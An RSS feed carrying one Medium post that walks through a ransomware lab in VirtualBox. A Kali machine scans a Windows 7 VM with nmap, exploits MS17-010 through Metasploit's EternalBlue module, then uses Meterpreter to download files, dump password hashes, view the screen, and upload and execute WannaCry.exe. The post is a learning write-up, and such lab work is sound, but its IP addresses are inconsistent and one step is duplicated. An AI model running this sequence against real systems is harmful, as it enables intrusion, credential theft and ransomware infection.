<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Bathulagayathri on Medium]]></title>
        <description><![CDATA[Stories by Bathulagayathri on Medium]]></description>
        <link>https://medium.com/@bathulagayathri90?source=rss-a4a49ac24d02------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*2l744cOF0NlDh9Ds</url>
            <title>Stories by Bathulagayathri on Medium</title>
            <link>https://medium.com/@bathulagayathri90?source=rss-a4a49ac24d02------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 09:16:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@bathulagayathri90/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Ransomware Attack Simulation Using Kali Linux and Windows 7 in a VirtualBox Lab.]]></title>
            <link>https://medium.com/@bathulagayathri90/ransomware-attack-simulation-using-kali-linux-and-windows-7-in-a-virtualbox-lab-ed9e684f5989?source=rss-a4a49ac24d02------2</link>
            <guid isPermaLink="false">https://medium.com/p/ed9e684f5989</guid>
            <category><![CDATA[window7]]></category>
            <category><![CDATA[kali-linux-tools]]></category>
            <category><![CDATA[ransomware-attack]]></category>
            <dc:creator><![CDATA[Bathulagayathri]]></dc:creator>
            <pubDate>Sun, 20 Sep 2026 12:02:21 GMT</pubDate>
            <atom:updated>2026-09-20T12:02:21.467Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Introduction :</strong></h3><p><strong>Ransomware is a type of malicious software (malware) that encrypts or locks a victim’s files and prevents access to them. The attacker then demands a ransom payment in exchange for restoring access or providing a decryption key.</strong></p><h3>In this lab, I created a controlled ransomware simulation environment using VirtualBox.</h3><p>The lab contains two machines:</p><ul><li><strong>Attacker Machine:</strong> Kali Linux</li><li><strong>Victim Machine:</strong> Windows 7</li><li><strong>Network:</strong> Both machines are connected to the same VirtualBox lab network.</li></ul><p>The main objective of this lab was to understand the complete security-testing flow:</p><p><strong>Network Discovery → Vulnerability Scanning→ Vulnerability Identification → Exploitation → Meterpreter Access → File System Navigation → File Transfer → Hash Collection → Malware Simulation</strong></p><p>This was performed in an authorized VirtualBox lab environment for cybersecurity learning.</p><h3><strong>Lab Environment</strong></h3><p><strong>Attacker Machine</strong></p><p><strong>Kali Linux</strong></p><p>IP address:</p><p>10.0.2.8</p><p><strong>Victim Machine</strong></p><p><strong>Windows 7 Home Basic SP1</strong></p><p>IP address:</p><p>10.0.2.5</p><p>Both machines are inside the same 10.0.2.0/24 network range.</p><p>The basic idea is:</p><p>Kali Linux</p><p>10.0.2.3</p><p>|</p><p>| Same VirtualBox Network</p><p>|</p><p>Windows 7</p><p>10.0.2.4</p><p>Kali is used as the security-testing machine, while Windows 7 is the intentionally vulnerable victim machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4rE4sUJxdBaQSm0BZmhggQ.png" /></figure><h3><strong>Step 1 — Network Discovery Using Nmap</strong></h3><p>The first step was to identify which hosts were active in the network.</p><p><strong>Command</strong></p><h3>nmap -Pn -O 10.0.2.0/24</h3><p><strong>Purpose</strong></p><p>This command was used for <strong>network discovery and OS detection</strong>.</p><p>It scans the 10.0.2.0/24 network and attempts to identify:</p><ul><li>Active hosts</li><li>Open ports</li><li>Services</li><li>Possible operating systems</li></ul><p><strong>Understanding the IP range</strong></p><p>10.0.2.0/24 represents a network containing <strong>256 IP addresses</strong>, from:</p><p>10.0.2.0</p><p>to</p><p>10.0.2.255</p><p>Nmap reported <strong>3 hosts up</strong>:</p><p>10.0.2.1</p><p>10.0.2.2</p><p>10.0.2.3</p><p>For example, 10.0.2.1 showed:</p><p>135/tcp open msrpc</p><p>445/tcp open microsoft-ds</p><p>Port <strong>445</strong> is associated with Microsoft SMB services.</p><p>The output also showed VirtualBox/QEMU-related MAC addresses and possible OS guesses.</p><p>However, Nmap itself warned that some OS results could be unreliable because the available port information was insufficient for accurate fingerprinting.</p><p><strong>Important observation</strong></p><p>At this stage, the purpose was <strong>not yet to attack a machine</strong>.</p><p>The purpose was:</p><p><strong>First understand the network and identify possible hosts/services.</strong></p><h3><strong>Step 2 — Vulnerability Scanning</strong></h3><p>After identifying the lab network, I performed a vulnerability scan against the intended Windows target:</p><p>10.0.2.4</p><p><strong>First command</strong></p><p>nmap -Pn — script vuln 10.0.2.4 -vv</p><p><strong>Purpose</strong></p><p>This command uses Nmap’s <strong>NSE vulnerability scripts</strong> to check the target for known security weaknesses.</p><p>In simple words:</p><p>nmap = scanning tool<br> — script vuln = use vulnerability-checking scripts<br> 10.0.2.4 = target machine<br> -vv = provide more detailed output</p><p><strong>First scan result</strong></p><p>Initially, Nmap reported:</p><p>10.0.2.4 [host down, received no-response]</p><p>So the scan did not obtain a response from the target at that moment.</p><p>This does <strong>not automatically mean the machine permanently does not exist</strong>. It means that this particular scan did not receive the expected response.</p><p>When the scan was performed again, the target responded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fqqvOc2Jof1v23TQ0gzjsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pv_VEcgdnSm4FHDheK-bNg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YhpimNbW-Un7iFTJEXm9qg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NJF42YukcCxr6iQx8yOQzA.png" /></figure><h3><strong>Step 3— Vulnerability Scanning</strong></h3><p>After identifying the lab network, I performed a vulnerability scan against the intended Windows target:</p><p>10.0.2.4</p><p><strong>First command</strong></p><h3>nmap -Pn — script vuln 10.0.2.4 -vv</h3><p><strong>Purpose</strong></p><p>This command uses Nmap’s <strong>NSE vulnerability scripts</strong> to check the target for known security weaknesses.</p><p>In simple words:</p><p>nmap = scanning tool<br> — script vuln = use vulnerability-checking scripts<br> 10.0.2.4 = target machine<br> -vv = provide more detailed output</p><p><strong>First scan result</strong></p><p>Initially, Nmap reported:</p><p>10.0.2.4 [host down, received no-response]</p><p>So the scan did not obtain a response from the target at that moment.</p><p>This does <strong>not automatically mean the machine permanently does not exist</strong>. It means that this particular scan did not receive the expected response.</p><p>When the scan was performed again, the target responded.</p><p><strong>Second Vulnerability Scan</strong></p><p>The same command was run again:</p><p>nmap -Pn — script vuln 10.0.2.4 -vv</p><p>This time Nmap successfully discovered the target.</p><p>It found these open ports:</p><p>135/tcp</p><p>139/tcp</p><p>445/tcp</p><p>49152/tcp</p><p>49153/tcp</p><p>49154/tcp</p><p>49155/tcp</p><p>49156/tcp</p><p>49158/tcp</p><p>The important ports for this lab were:</p><p><strong>Port 135</strong></p><p>135/tcp open msrpc</p><p>Associated with Microsoft RPC services.</p><p><strong>Port 139</strong></p><p>139/tcp open netbios-ssn</p><p>Associated with NetBIOS/SMB-related communication.</p><p><strong>Port 445</strong></p><p>445/tcp open microsoft-ds</p><p>This is the important SMB port in this lab.</p><p><strong>Vulnerability Identified — MS17–010</strong></p><p>The Nmap vulnerability script reported:</p><p>smb-vuln-ms17–010:</p><p>VULNERABLE</p><p>Remote Code Execution vulnerability in Microsoft SMBv1 servers</p><p>It identified:</p><p>CVE-2017–0143</p><p>The scan therefore indicated that the Windows 7 target was vulnerable to <strong>MS17–010</strong>.</p><p>This was the key finding that connected the Nmap scanning phase to the Metasploit testing phase.</p><p>The flow was:</p><p>Nmap</p><p>↓</p><p>Found target</p><p>↓</p><p>Found port 445</p><p>↓</p><p>SMB service identified</p><p>↓</p><p>Vulnerability scan</p><p>↓</p><p>MS17–010 detected</p><p>↓</p><p>metasploit testing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a5gU-LU5dN9eqqbmlF652w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9-18iHA0pQFWMyICnGmvow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tjxaGgsskeJ68cCjmIusZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nRnV2et7oP-D2-UzRHC0Jg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rUtfJz1stVOLdjoCMys2WA.png" /></figure><h3><strong>. Step 4— Opening Metasploit Framework</strong></h3><p>After identifying the vulnerability, I opened Metasploit Framework.</p><p><strong>Command</strong></p><h3>msfconsole</h3><p><strong>Purpose</strong></p><p>msfconsole opens the <strong>Metasploit Framework console</strong>.</p><p>Metasploit is a penetration-testing framework used in authorized security assessments to:</p><ul><li>Test known vulnerabilities</li><li>Validate security weaknesses</li><li>Use exploit modules</li><li>Establish test sessions</li><li>Perform post-exploitation activities in controlled environments</li></ul><p>After running the command, the Metasploit console appeared:</p><p>msf &gt;</p><p>This means Metasploit is ready to accept commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zLID5gA6zLzFMez7fb-cHQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gnG_-vTHEBl7BK6NVxUcHg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*ek4uRchhUtmCnvK7LHQv9g.png" /></figure><h3><strong>Step 5— Searching for MS17–010</strong></h3><p>Inside Metasploit, I searched for modules related to MS17–010.</p><p><strong>Command</strong></p><h3>search ms17–010</h3><p><strong>Purpose</strong></p><p>This command searches the Metasploit module database for modules related to <strong>MS17–010</strong>.</p><p>The output showed several modules, including:</p><p>exploit/windows/smb/ms17_010_eternalblue</p><p>and:</p><p>exploit/windows/smb/ms17_010_psexec</p><p>and:</p><p>auxiliary/scanner/smb/smb_ms17_010</p><p>The important module selected for this lab was:</p><p>exploit/windows/smb/ms17_010_eternalblue</p><p>This module is associated with testing the MS17–010 SMB vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*096jDlQi3ITx-aq0gg-LOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*07M1QW8V7SYUZwyDEim6xQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OcJJkazIClNN-5RNUOqd3w.png" /></figure><h3><strong>Step 6— Selecting the Exploit Module</strong></h3><p>I selected module number 0.</p><p><strong>Command</strong></p><h3>use 0 (Exploit module can selected)</h3><p><strong>What does use 0 mean?</strong></p><p>It means:</p><p>Select module number 0 from the search results.</p><p>The selected module was:</p><p>exploit/windows/smb/ms17_010_eternalblue</p><p>So the command does <strong>not itself execute the exploit</strong>.</p><p>It simply tells Metasploit:</p><p>“I want to work with this particular module.”</p><p>After selection, the prompt changed to:</p><p>msf exploit(windows/smb/ms17_010_eternalblue) &gt;</p><p>This confirms that the EternalBlue module is currently selected.</p><p><strong>10. Step 6 — Setting the Target IP</strong></p><p>The next step was to tell Metasploit which machine should be tested.</p><p><strong>Command</strong></p><p>set RHOSTS 10.0.2.4</p><p><strong>Meaning</strong></p><p>RHOSTS means <strong>Remote Hosts</strong>.</p><p>The command tells Metasploit:</p><p>The target machine for this module is 10.0.2.4.</p><p>Here:</p><p>10.0.2.4 = Windows 7 victim machine</p><p>So the connection is:</p><p>Kali Linux</p><p>10.0.2.3</p><p>↓</p><p>Target</p><p>10.0.2.4</p><p>Windows 7</p><p>The target port shown by the module was:</p><p>RPORT 445</p><p>which corresponds to SMB.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IDBys8XWNMRxVzyJIvTNCg.png" /></figure><h3><strong>Step 7 — Running the Metasploit Module</strong></h3><p>After selecting the module and setting the target, I used:</p><h3>run (Comand)</h3><p><strong>Purpose</strong></p><p>The run command tells Metasploit to execute the currently selected module with the configured settings.</p><p>The output first performed another MS17–010 check:</p><p>Host is likely VULNERABLE to MS17–010!</p><p>Windows 7 Home Basic 7601 Service Pack 1 x64</p><p>Then Metasploit confirmed:</p><p>The target is vulnerable.</p><p>The output then showed the exploitation process and finally:</p><p>Meterpreter session 1 opened</p><p>This was the important result.</p><p><strong>12. What Is a Meterpreter Session?</strong></p><p>A <strong>Meterpreter session</strong> is an interactive session provided by Metasploit after successful exploitation in this controlled lab.</p><p>The prompt changed to:</p><p>meterpreter &gt;</p><p>This means I could now interact with the Windows lab machine through Meterpreter.</p><p>The relationship is:</p><p>Nmap</p><p>↓</p><p>Find vulnerability</p><p>↓</p><p>Metasploit</p><p>↓</p><p>Test vulnerability</p><p>↓</p><p>Successful exploitation</p><p>↓</p><p>Meterpreter session</p><p>↓</p><p>Interact with Windows lab machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PIUcjMf3iXX9B2N5ErxBjg.png" /></figure><h3><strong>Step 8 — Checking the Current Directory</strong></h3><p>Inside Meterpreter, I used:</p><h3>pwd</h3><p><strong>Meaning</strong></p><p>pwd means:</p><p><strong>Print Working Directory</strong></p><p>It tells us the current location in the target machine’s file system.</p><p>The output was:</p><p>C:\Windows\system32</p><p>So the current directory was:</p><p>C:\Windows\system32</p><h3><strong>Step 9 — Moving Back to the Root Directory</strong></h3><p>I used:</p><p>cd ../../</p><p><strong>Meaning</strong></p><h3>cd means <strong>change directory</strong>.</h3><p>.. means the parent directory.</p><p>Therefore:</p><h3>cd ..</h3><p>moves one level up.</p><p>And:</p><p>cd ../..</p><p>or:</p><h3>cd ../../</h3><h3>moves two levels upward.</h3><p>From:</p><p>C:\Windows\system32</p><p>it moved back toward:</p><p>C:\</p><p>This allowed me to view the main directories of the Windows machine.</p><h3><strong>Step 10 — Listing Files and Folders</strong></h3><p>I used:</p><p>ls</p><p><strong>Meaning</strong></p><p>ls lists the files and directories in the current location.</p><p>The output showed directories such as:</p><p>Users</p><p>Windows</p><p>Program Files</p><p>ProgramData</p><p>Boot</p><p>Recovery</p><p>It also showed ransomware-related files such as:</p><p>@Please_Read_Me@.txt</p><p>@WanaDecryptor@.exe</p><p>BOOTSECT.BAK.WNCRY</p><p>and other .WNCRY files.</p><p>This showed that the Windows lab machine contained artifacts associated with the ransomware simulation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*3kZK4-OM2lB1yWUfTrXKoA.png" /></figure><h3><strong>Step 11 — Entering the Users Directory</strong></h3><p>I then used:</p><p>cd Users//</p><p><strong>Purpose</strong></p><p>This changes the current location to:</p><p>C:\Users</p><p>The ls command then showed user profiles including:</p><p>Default</p><p>Public</p><p>vboxuser</p><p>So I identified the lab user’s profile:</p><p>vboxuser</p><h3><strong>Step 12 — Entering the vboxuser Profile</strong></h3><p>I used:</p><p>cd vboxuser</p><p>This moved into:</p><p>C:\Users\vboxuser</p><p>The directory contained standard Windows user folders such as:</p><p>Desktop</p><p>Documents</p><p>Downloads</p><p>Pictures</p><p>Music</p><p>Videos</p><p>and Windows user-profile files such as:</p><p>NTUSER.DAT</p><p>This confirmed that I was inside the vboxuser profile.</p><h3><strong>Step 13 — Entering the Desktop</strong></h3><p>I then used:</p><p>cd Desktop</p><p>This moved to:</p><p>C:\Users\vboxuser\Desktop</p><p>I used:</p><p>ls</p><p>to view the contents.</p><p>The Desktop contained several ransomware simulation artifacts, including:</p><p>@Please_Read_Me@.txt</p><p>@WanaDecryptor@.exe</p><p>@WanaDecryptor@.bmp</p><p>WannaCry.exe</p><p>and files with the:</p><p>.WNCRY</p><p>extension.</p><p>Examples included:</p><p>Wildlife.wmv.WNCRY</p><p>medical_records.txt.WNCRY</p><p>financial_records.txt.WNCRY</p><p>sensitive_docs.txt.WNCRY</p><p>This demonstrates how ransomware changes the accessibility/name of files during an encryption scenario.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rbj7fjoQ_3eqfCnHpn2hKQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mnzckuinVW_zuRZdIIPyKg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qtMkyIac2lk81vvJ_skjpg.png" /></figure><h3><strong>Step 14 — Downloading an Encrypted File</strong></h3><p>I used:</p><h3>download medical_records.txt.WNCRY</h3><p><strong>Purpose</strong></p><p>The download command copies a file <strong>from the target Windows machine to the Kali machine</strong> through the Meterpreter session.</p><p>In this lab:</p><p>Windows 7</p><p>↓</p><h3>medical_records.txt.WNCRY</h3><p>↓</p><p>Kali Linux</p><p>The output confirmed:</p><p>Completed</p><p>and the file was saved on Kali.</p><p>This demonstrates a simulated <strong>file-transfer/exfiltration activity</strong> within the authorized lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CEyqPrre20tJtCdpBJLi4w.png" /></figure><h3><strong>Step 15 — Hashdump</strong></h3><p>Next, I used:</p><p>hashdump (hashdump passwords can retrive module)</p><p><strong>Purpose</strong></p><p>hashdump retrieves password hashes from the Windows machine when the Meterpreter session has sufficient privileges.</p><p>The output included accounts such as:</p><p>Administrator</p><p>Guest</p><p>vboxuser</p><p>with hash values.</p><h3><strong>Important point</strong></h3><p>hashdump does <strong>not directly show the user’s plaintext password</strong>.</p><p>It retrieves password hashes, which are stored representations used by Windows authentication.</p><p>So the correct explanation is:</p><p>hashdump is used to retrieve Windows account password hashes from the compromised/test system when sufficient privileges are available.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pTebcW2-VsHXOZAx1Aes9A.png" /></figure><h3><strong>Screenshare (command)</strong></h3><p><strong>Screen share command</strong> is used to view and monitor the screen of a remote system. An attacker may use it to <strong>see what the user is doing on the system</strong>, such as open applications or activities on the screen. <strong>It should only be used on an authorized or permitted system.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7E1Z-ApNPdp9XX3i973n9g.png" /></figure><h3><strong>Step 16 — Uploading WannaCry.exe</strong></h3><p>I then used:</p><h3>upload WannaCry.exe</h3><p><strong>Purpose</strong></p><p>The upload command copies a file <strong>from Kali Linux to the target Windows machine</strong>.</p><p>The direction is:</p><p>Kali Linux</p><p>|</p><p>| upload</p><p>↓</p><p>Windows 7</p><p>The output showed:</p><p>Uploaded 3.35 MiB</p><p>Completed</p><p>Therefore, WannaCry.exe was successfully copied to the Windows lab machine.</p><h3><strong>Step 17 — Executing the File</strong></h3><p>Finally, I used:</p><h3>execute -f WannaCry.exe</h3><p><strong>Meaning</strong></p><p>The execute command is used to execute a program on the target machine.</p><p>The -f option specifies the file to execute.</p><p>Therefore:</p><p>execute -f WannaCry.exe</p><p>means:</p><p>Execute the WannaCry.exe file on the target Windows lab machine.</p><p>The output showed:</p><p>Process 876 created.</p><p>This means the Windows system created a process for the executable.</p><p>In this lab, this step represented the <strong>malware/ransomware execution stage</strong> of the simulation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0CKdU3Nl16Z5AkxhDXYlHA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tpecGRLukOh495ho2DazdQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ed9e684f5989" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>